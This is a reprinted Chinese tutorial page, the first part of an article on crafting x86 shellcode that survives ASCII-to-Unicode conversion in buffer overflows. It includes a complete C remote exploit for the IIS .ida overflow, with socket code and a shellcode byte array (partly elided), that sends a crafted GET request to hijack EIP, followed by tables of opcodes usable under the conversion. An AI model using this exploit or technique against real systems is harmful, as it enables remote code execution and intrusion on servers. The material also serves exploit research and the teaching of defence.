庞大资源库的计算机教程网站!
设为首页
加入收藏
总编信箱
投稿或申请专栏请先 [登 陆]
首页 操作系统 程序设计 图形图像 媒体动画 机械电子 WEB开发 数 据 库 办公系列 路由技术 网络原理 网络应用
认证考试 安全技术
首页>安全技术>黑客攻防>黑客编程>正文
资料搜索
Google搜索
Google
返回上级列表

推荐文章

快速保存网页中所有图片的方法
Windows中让光驱巧妙“隐身”技
防范非法用户入侵Win 2000/XP系
两款比较典型的ASP木马防范方法
有关表格边框的css语法整理
Windows XP中可以被禁用的服务
SQL Server导出导入数据方法
Javascript所有对象的属性的获
网页(HTML)中的特殊字符
与篮球共舞,尽显模式本色
QQ病毒的手工清除方法
Photoshop为极品美女打造性感睫
天衣无缝:IIS与PHP水火也相容
SQL Server存储过程编写和优化

创建IA32下针对Unicode有效的ShellCodes 上

 作者:本站收集   日期:2005-5-23
字号选择〖 〗/ 双击滚屏 单击停止   
--[ 目录

0 - Unicode 标准

1 - 介绍

2 - 指令集

3 - 可能性

4 - 策略

5 - 代码的位置

6 - 结论

7 - 附录 : 代码


--[0 - Unicode 标准

在我们利用缓冲区溢出漏洞时常常会遇到一类困难:字符转换。实际上,具有漏洞的程序可能会通过设置大小写转换,去掉非字母数字组合字符串等等来修改我们的缓冲区,这样往往使得我们ShellCode的攻击不再有效。在此我们要处理的为基于从C类型字符串(通常以‘\0'结束的字符串)到Unicode字符串的转换。

下面我们来快速浏览一下Unicode吧:

“什么是Unicode ?
Unicode为每一个字符提供单独的编码,
无所谓何种平台,
无所谓何种程序,
无所谓何种语言。“

--- www.unicode.org

实际上,因为Internet变得如此的流行,而且我们又使用了不同的语言和不同的文字,所以现在需要一种能够让计算机在任意平台,任意程序,任意语言和任意网络间进行数据交换的标准。Unicode是一个16位的字符集,它能够为任意的字符编码,因此成为了世界范围内的字符编码标准。

今天,Unicode被以下的工业界的领头们所使用:

Apple
HP
IBM
Microsoft
Oracle
Sun
和其他各大公司...

Unicode被以下主要的软件所支持:

操作系统

Microsoft Windows CE, Windows NT, Windows 2000, and Windows XP
GNU/Linux with glibc 2.2.2 or newer - FAQ support
Apple Mac OS 9.2, Mac OS X 10.1, Mac OS X Server, ATSUI
Compaq's Tru64 UNIX, Open VMS
IBM AIX, AS/400, OS/2
SCO UnixWare 7.1.0
Sun Solaris

当然还包括所有运行在它们环境下的所有软件……

http://www.unicode.org/charts/ 列举了支持的字符列表,类似下图:

| 范 围 | 字符
|-----------|--------------------
| 0000-007F | 基本拉丁文
| 0080-00FF | 拉丁文-1补充
| 0100-017F | 拉丁文扩展-A
| [...] | [...]
| 0370-03FF | 希腊语和埃及古语
| [...] | [...]
| 0590-05FF | 希伯来语
| 0600-06FF | 阿拉伯语
| [...] | [...]
| 3040-309F | 日文平假名
| 30A0-30FF | 日文片假名

Unicode 4.0 所支持的字符有:

Basic Latin Block Elements
Latin-1 Supplement Geometric Shapes
Latin Extended-A Miscellaneous Symbols
Latin Extended-B Dingbats
IPA Extensions Miscellaneous Math. Symbols-A
Spacing Modifier Letters Supplemental Arrows-A
Combining Diacritical Marks Braille Patterns
Greek Supplemental Arrows-B
Cyrillic Miscellaneous Mathematical Symbols-B
Cyrillic Supplement Supplemental Mathematical Operators
Armenian CJK Radicals Supplement
Hebrew Kangxi Radicals
Arabic Ideographic Description Characters
Syriac CJK Symbols and Punctuation
Thaana Hiragana
Devanagari Katakana
Bengali Bopomofo
Gurmukhi Hangul Compatibility Jamo
Gujarati Kanbun
Oriya Bopomofo Extended
Tamil Katakana Phonetic Extensions
Telugu Enclosed CJK Letters and Months
Kannada CJK Compatibility
Malayalam CJK Unified Ideographs Extension A
Sinhala Yijing Hexagram Symbols
Thai CJK Unified Ideographs
Lao Yi Syllables
Tibetan Yi Radicals
Myanmar Hangul Syllables
Georgian High Surrogates
Hangul Jamo Low Surrogates
Ethiopic Private Use Area
Cherokee CJK Compatibility Ideographs
Unified Canadian Aboriginal Syllabic Alphabetic Presentation Forms
Ogham Arabic Presentation Forms-A
Runic Variation Selectors
Tagalog Combining Half Marks
Hanunoo CJK Compatibility Forms
Buhid Small Form Variants
Tagbanwa Arabic Presentation Forms-B
Khmer Halfwidth and Fullwidth Forms
Mongolian Specials
Limbu Linear B Syllabary
Tai Le Linear B Ideograms
Khmer Symbols Aegean Numbers
Phonetic Extensions Old Italic
Latin Extended Additional Gothic
Greek Extended Deseret
General Punctuation Shavian
Superscripts and Subscripts Osmanya
Currency Symbols Cypriot Syllabary
Combining Marks for Symbols Byzantine Musical Symbols
Letterlike Symbols Musical Symbols
Number Forms Tai Xuan Jing Symbols
Arrows Mathematical Alphanumeric Symbols
Mathematical Operators CJK Unified Ideographs Extension B
Miscellaneous Technical CJK Compatibility Ideographs Supp.
Control Pictures Tags
Optical Character Recognition Variation Selectors Supplement
Enclosed Alphanumerics Supplementary Private Use Area-A
Box Drawing Supplementary Private Use Area-B

微软语:

“Unicode是世界范围内的字符编码标准。Windows NT,Windows 2000和Windows XP在系统级特地使用了Unicode作为字符字符串操作的标准。Unicode简单化了软件定位并促进了多语言文本的处理。在您的程序中通过使用Unicode,您可以使你的程序通过一个简单的二进制文件来处理所有可能的字符代码,从而在全球市场上拥有统一的数据交流的能力。”

我们注意到Windows提供的编程接口包含了ASNI和Unicode各自对应的API,例如:

API: MessageBox (显示一个消息框)是从User32.dll中导出的:
MessageBoxA (ANSI)
MessageBoxW (Unicode)

MessageBoxA 将接受一个标准的C类型字符串作为参数;
MessageBoxW 则需要一个Unicode编码的字符串作为参数。

据微软称,系统内部在处理字符串之前将会在不同标准间进行透明的类型转换。但是如果你想在Windows下使用ANSI编写一个C程序,那么需要定义UNICODE,并且每个API都将被替换为‘W'版本。

这一点吸引了我,现在让我们直接进入主题吧……


--[ 1 - 介绍

我们将会考虑如下的情形:

您发送了一些数据到容易被攻击的服务器,并且你的数据被认为是以ASCII标准编码的,那么你的缓冲区将会因为兼容性的原因被转换为Unicode编码,并且将会在你发送的已经转换过的缓冲区里发生溢出。

例如,下面的输入缓冲区:

4865 6C6C 6F20 576F 726C 6420 2100 0000 Hello World !...
0000 0000 0000 0000 0000 0000 0000 0000 ................

转换之后:
4800 6500 6C00 6C00 6F00 2000 5700 6F00 H.e.l.l.o. .W.o.
7200 6C00 6400 2000 2100 0000 0000 0000 r.l.d. .!.......

这时,溢出发送了(当然我知道我所给出的例子是如此的乏味)

在Win32平台下,进程通常是在00401000处开始执行的,这就使得我们通过返回一个如下形式的地址来打乱 EIP:

????:00??00??

所以即使如此简单的转换,漏洞的利用同样成为可能。但是如果要获得一个可行的ShellCode那将需要很多艰辛的劳动!一种可能性就是将未转换的ShellCode连续填入到堆栈中直到填满,这时通过转换之后的代码进行溢出,使其返回到我们众多可计数的某一个ShellCode上来。在此我们假设这是不可能的,因为所有的缓冲区都是基于Unicode编码的。更不必说我们的汇编指令不会执行如此不安全的代码。我们需要找到一种能经受住类型转换的ShellCode,也就是在Unicode编码下仍然行之有效的ShellCode。首先,我们需要查找含有空字节的操作码来创建我们的ShellCode。

虽然这是一个有些老了的例子,但它可以说明在发送的缓冲区被“污染”之后,仍然可以保证正确执行我们的ShellCode。
(这个漏洞在我的电脑上执行成功,它是针对IIS的WWW服务):

---------------- CUT HERE -------------------------------------------------
/*
IIS .IDA 远程溢出漏洞

格式化返回地址: 0x00530053
IIS 持有的我们的大缓冲区地址:0x0052....
我们跳到缓冲区,并得到需要的指针

by obscurer
*/

#include
#include
#include

void usage(char *a);
int wsa();

/* 我的通用 Win32 Shellcode */
unsigned char shellcode[]={
"\xEB\x68\x4B\x45\x52\x4E\x45\x4C\x13\x12\x20\x67\x4C\x4F\x42\x41"
"\x4C\x61\x4C\x4C\x4F\x43\x20\x7F\x4C\x43\x52\x45\x41\x54\x20\x7F"
[......]
[......]
[......]
"\x09\x05\x01\x01\x69\x01\x01\x01\x01\x57\xFE\x96\x11\x05\x01\x01"
"\x69\x01\x01\x01\x01\xFE\x96\x15\x05\x01\x01\x90\x90\x90\x90\x00"};

int main (int argc, char **argv)
{

int sock;
struct hostent *host;
struct sockaddr_in sin;
int index;

char *xploit;
char *longshell;


char retstring[250];

if(argc!=4&&argc!=5) usage(argv[0]);


if(wsa()==FALSE)
{
printf("Error : cannot initialize winsock\n");
exit(0);
}


int size=0;

if(argc==5)
size=atoi(argv[4]);


printf("Beginning Exploit building\n");

xploit=(char *)malloc(40000+size);
longshell=(char *)malloc(35000+size);
if(!xploit||!longshell)
{
printf("Error, not enough memory to build exploit\n");
return 0;
}

if(strlen(argv[3])>65)
{
printf("Error, URL too long to fit in the buffer\n");
return 0;
}

for(index=0;index shellcode[index+139]=argv[3][index]^0x20;

memset(xploit,0,40000+size);
memset(longshell,0,35000+size);
memset (longshell, '\x41', 30000+size);

for(index=0;index longshell[index+30000+size]=shellcode[index];

longshell[30000+sizeof(shellcode)+size]=0;


memset(retstring,'S',250);

sprintf(xploit,
"GET /NULL.ida?%s=x HTTP/1.1\nHost: localhost\nAlex: %s\n\n",
retstring,
longshell);


printf("Exploit build, connecting to %s:%d\n",argv[1],atoi(argv[2]));

sock=socket(AF_INET,SOCK_STREAM,0);
if(sock<0)
{
printf("Error : Couldn't create a socket\n");
return 0;
}


if ((inet_addr (argv[1]))==-1)
{
host = gethostbyname (argv[1]);
if (!host)
{
printf ("Error : Couldn't resolve host\n");
return 0;
}
memcpy((unsigned long *)&sin.sin_addr.S_un.S_addr,
(unsigned long *)host->h_addr,
sizeof(host->h_addr));

}
else sin.sin_addr.S_un.S_addr=inet_addr(argv[1]);


sin.sin_family=AF_INET;
sin.sin_port=htons(atoi(argv[2]));

index=connect(sock,(struct sockaddr *)&sin,sizeof(sin));
if (index==-1)
{
printf("Error : Couldn't connect to host\n");
return 0;
}

printf("Connected to host, sending shellcode\n");

index=send(sock,xploit,strlen(xploit),0);
if(index<1)
{
printf("Error : Couldn't send trough socket\n");
return 0;
}

printf("Done, waiting for an answer\n");

memset (xploit,0, 2000);

index=recv(sock,xploit,100,0);
if(index<0)
{
printf("Server crashed, if exploit didn't work, increase buffer size by 10000\n");
exit(0);
}


printf("Exploit didn't seem to work, closing connection\n",xploit);

closesocket(sock);

printf("Done\n");

return 0;
}
---------------- CUT HERE -------------------------------------------------

在本例中,漏洞的字符串形式如下:

"GET /NULL.ida?[BUFFER]=x HTTP/1.1\nHost: localhost\nAlex: [ANY]\n\n"

如果[BUFFER]足够大,EIP将会被它说包含的内容打乱。但是,我注意到在溢出发生的时候[BUFFER]被转换为Unicode编码。但是一些有趣的事是[ANY]是一个被映射到00530000附近的干净ASCII缓冲区。所以,我试图将[BUFFER]设置为“SSSSSSSSSSSSS”( S = 0x53),在Unicode转换之后,为如下形式:

...00 53 00 53 00 53 00 53 00 53 00 53 00 53 00 53 00 53...

EIP被打乱为0x00530053,IIS返回到[ANY]附近。我在[ANY]附近设置了大量的0x41 = 'A'(增加寄存器)和我的ShellCode。这样,我的ShellCode被成功执行了,但是如果我们没有干净的缓冲区,将无法在存储器中安装我们的ShellCode。我们必须寻找其他的解决办法。


--[ 2 - 指令集

我们必须记住不能使用绝对地址的调用(call),跳转(jmp)等指令,因为我们希望自己的ShellCode具有尽量可能的兼容性。
首先,要了解哪些操作码能够被利用,哪些是我们无法利用的,这样就可以找到一种对应的策略。在Intel的文档中提到:

r32 对应于一个32位的寄存器(eax,esi,ebp...)
r8 对应于一个 8位的寄存器(ah,bl,cl...)

- 无条件跳转(JMP)

JMP的可能操作码为基于相对跳转的EB和E9,它们必须后跟一个字节,所以我们无法使用它们(00 意味着跳转到下一条指令,对我们来说基本上没有用)。

对应绝对跳转的FF和FA,它们的操作码不能后跟00,除非我们希望跳转到一个已知的地址,但是这就只是一个硬编码的ShellCode了!

- 条件跳转 (Jcc : JNE, JAE, JNE, JL, JZ, JNG, JNS...)

远跳转(far jumps)指令的语法指示其必须后跟两个连续的非空字节,所以无用。而对于近跳转(near jumps)后跟将要跳转的距离,而00将不会被使用,所以JMP r32对我们来说是不可能的了。

- 循环 (LOOP, LOOPcc : LOOPE, LOOPNZ..)

一些问题:E0,E1,E2都是循环指令,它们需要跟交叉的字节数……

- 重复 (REP, REPcc : REPNE, REPNZ, REP + 字符串操作)

这些指令都是以双字节开始的,所以同样没有利用的价值。

- 调用

只有相对调用可以被利用:
E8 ?? ?? ?? ??
在我们所遇到的情况中,必须为:
E8 00 ?? 00 ?? (对应的每个 ?? != 00)
因为我们的调用将会至少是01000000字节或更远,这时将无法利用,所以CALL r32也是不可能的。

- 条件设置字节 (SETcc)

这条指令需要两个非空字节(例如 SETA 为 0F 97)。

看起来是很困难的……我们不能做任何的测试……因为我们不能做任何的有条件的事!并且,我们不能移动我们的代码:没有JUMP,没有CALLS可以被使用,没有LOOPS也没有REPEATS可以执行!

那我们能做什么呢?

注意咯!我们在操作 EAX 寄存器时会有很多的空字符可以使用!!!因为我们在使用EAX,[EAX],AX等等作为操作数时,它们往往存在十六进制编码的 00。

- 单字节操作数

我们可以使用任何的单字节操作码,这将给予我们 INC 或 DEL 任意寄存器的机会,XCHG 和 PUSH/POP 操作寄存器时同样也可以利用起来。
我们可以做:
XCHG r32,r32
POP r32
PUSH r32


- MOV
________________________________________________________________
|8800 mov [eax],al |
|8900 mov [eax],eax |
|8A00 mov al,[eax] |
|8B00 mov eax,[eax] |
| |
|没什么价值。 |
|________________________________________________________________|

________________________________________________________________
|A100??00?? mov eax,[0x??00??00] |
|A200??00?? mov [0x??00??00],al |
|A300??00?? mov [0x??00??00],eax |
| |
|硬编码地址对我们来说也没有用。 |
|________________________________________________________________|

________________________________________________________________
|B_00 mov r8,0x0 |
|A4 movsb |
| |
|这些情况可能有用。 |
|________________________________________________________________|

________________________________________________________________
|B_00??00?? mov r32,0x??00??00 |
|C600?? mov byte [eax],0x?? |
| |
|这对修补存储器有用。 |
|________________________________________________________________|


- ADD

________________________________________________________________
|00__ add [r32], r8 |
| |
| 将寄存器作为指针,我们可以添加信息到存储器内。 |
| |
|00__ add r8,r8 |
| |
| 可以用来修改寄存器。 |
|________________________________________________________________|


- XOR

________________________________________________________________
|3500??00?? xor eax,0x??00??00 |
| |
| |
| 可以用来修改EAX寄存器。 |
|________________________________________________________________|


- PUSH

________________________________________________________________
|6A00 push dword 0x00000000 |
|6800??00?? push dword 0x??00??00 |
| |
| 只有这个可以被利用成功。 |
|________________________________________________________________|


--[ 3 - 可能性

首先我们需要去掉一些小的细节:通过这种方法在我们的代码中存放的0x00可能会需要一些谨慎,因为如果我们从一个打乱的 EIP 返回到 ADDR:

... ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ...
||s
ADDR

如果我们返回到 ADDR 或 ADDR+1 时,得到的结果可能会完全的不同!
但是我们可以使用“空操作”指令,比如:

________________________________________________________________
|0400 add al,0x0 |
|________________________________________________________________|


因为000400对应:add [2*eax],al,我们可以跳转到任何想去的地方,这将不会因为指向0x00或其他而烦恼了。

但是它需要 2*eax 指向一个有效的指针,我们同样有:

________________________________________________________________
|06 push es |
|0006 add [esi],al |
| |
|0F000F str [edi] |
|000F add [edi],cl |
| |
|2E002E add [cs:esi],ch |
|002E add [esi],ch |
| |
|2F das |
|002F add [edi],ch |
| |
|37 aaa |
|0037 add [edi],dh |
| ; .... 等 等... |
|________________________________________________________________|


我们只需要注意排列队列的问题了。

然后,看看我们能做些什么:

XCHG, INC, DEC, PUSH, POP 32位的寄存器可以被直接得操作。

我们可以设置一个寄存器(r32)为 00000000:

________________________________________________________________
|push dword 0x00000000 |
|pop r32 |
|________________________________________________________________|


注意,我们可以通过 XCHG 指令来操作任何的寄存器,就像操作EAX寄存器一样。

例如我们可以在第二个位置通过 0x00 来设置 EDX 为任何的值,(如:0x12005678)

________________________________________________________________
|mov edx,0x12005600 ; EDX = 0x12005600 |
|mov ecx,0xAA007800 |
|add dl,ch ; EDX = 0x12005678 |
|________________________________________________________________|

上一篇:创建IA32下针对Unicode有效的ShellCodes 下    下一篇:内核处理信号对应用层堆栈的影响  
[发送给好友]  [关闭窗口]  [返回顶部]   转载请注明来源:www.it00.com   
特别声明: 本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
责任编辑: 原点 投稿作者: 本站收集
信息来源: 网络 录入时间: 2005-5-23
关于我们 - 广告服务 - 版权申明 - 网站地图 - 联系方式 - 总编信箱 - 会员投稿